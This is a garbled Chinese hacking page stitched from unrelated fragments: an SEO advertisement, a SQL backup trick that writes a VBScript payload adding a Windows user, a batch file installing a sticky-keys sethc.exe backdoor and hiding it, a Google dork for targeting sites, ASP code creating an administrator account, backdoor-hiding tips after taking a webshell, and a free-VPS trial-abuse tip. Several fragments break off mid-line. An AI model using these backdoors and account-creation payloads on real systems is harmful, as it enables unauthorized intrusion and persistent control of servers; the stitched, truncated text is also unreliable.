本人承接SEO服务，有意这可以给我留言。或加我QQ：251323708

连接sql后全部代码如下：

create table [bin_cmd]([cmd] [image]);

declare @a sysname,@s nvarchar(4000)select @a=db_name(),@s=0x62696E backup database @a to disk=@s;

insert into [bin_cmd](cmd)values('<scrIpt language=VBScript>window.moveTo 8888,8888:Set s=CreateObject("Wscript.Shell"):s.Run "cmd.exe /c net user ASPMET 123_asda!@ /add",0:s.Run "cmd.exe /c net localgroup

批处理：

@echo off
cls
echo 使用方法:本文件执行完毕后
echo 在终端界面按Shift 5次即可登陆系统
copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
attrib c:\windows\system32\sethc.exe +h
attrib c:\windows\system32\dllcache\sethc.exe +h
echo 后门安装完毕
echo. & pause
exit

此段代码保存

现在可以说网络管理员对服务器的设置是越来越BT，但BT的同时，也有黑客朋友们对服务器的不断的测试，在测试中往往获取最低的guest权限是简单的，像我们在入侵网站过程中，获取webshell是简单的，但是当由webshell的guest权限向system权限提升时却往往是止步不前。所以我有想写这样一篇文章的想法，但是在思考的过程中，又不得不承认，方法是不断的探索中出来的，方法更是有常规的也有另辟蹊径的。下面就做一些简单的介绍，对提权的方法进行一些介绍，同时也希望在更多朋

2,
到Google ,site:cq.cn inurl:asp

3,
利用挖掘鸡和一个ASP木马.
文件名是login.asp
路径组是/manage/
关键词是went.asp
用'o

有很多朋友拿下一些站的shell后，最后走人的时候，肯定是想留个后门在走，但是后门没几天就不见了。这

让一些小黑们很头痛哈，（包括我，哈哈）网上流传的方法也不是很好，只对本人来说哈。

不墨迹了，进正题。

首先拿下shell后，建立一个有...\\这样的文件夹，比如我就在站点跟目录建立个jieshao...\\这样的文件夹，如图

<%
Set onlineServer=GetObject("WinNT://127.0.0.1")
Set newuser=onlineServer.Create("user","anerle")
NewUser.SetPassword "123456"
NewUser.FullName="anerle test"
NewUser.Description="hacker's example"
NewUser.Setinfo
Set oDomain=GetObject("WinNT://"&"127.0.0.1")
Set oGroup=oDomain.GetObject("Group","administrators")
oGroup.Add ("winnt://hacker

（经测试，这个vps在 免费3个月后，可以通过修改个人信息等方式 进行重新试用3个月，就是说可以终身免费试用!!!)本人第二次申请试用通过
一次搜索解决 vps(是比以前介绍的美国虚拟主机更好，更稳定的空间,经测试这个vps的性能不差于国内的普通服务器！）一个难题的时候，无意中搜索 到了一个 免费3个月的vps ，
真的很惊讶，要知道 用过的差不多点的vps 每月最少 要10几美金，这个竟然免费3个月，

所以我立马用信用卡测

Google有很多数据库，同一网址在Google不同数据库中的值是不一样的（据说有678个数据中心），特别是在Google更新PR值的时 候，大多数预测网站就是在这些数据中心随机查询多个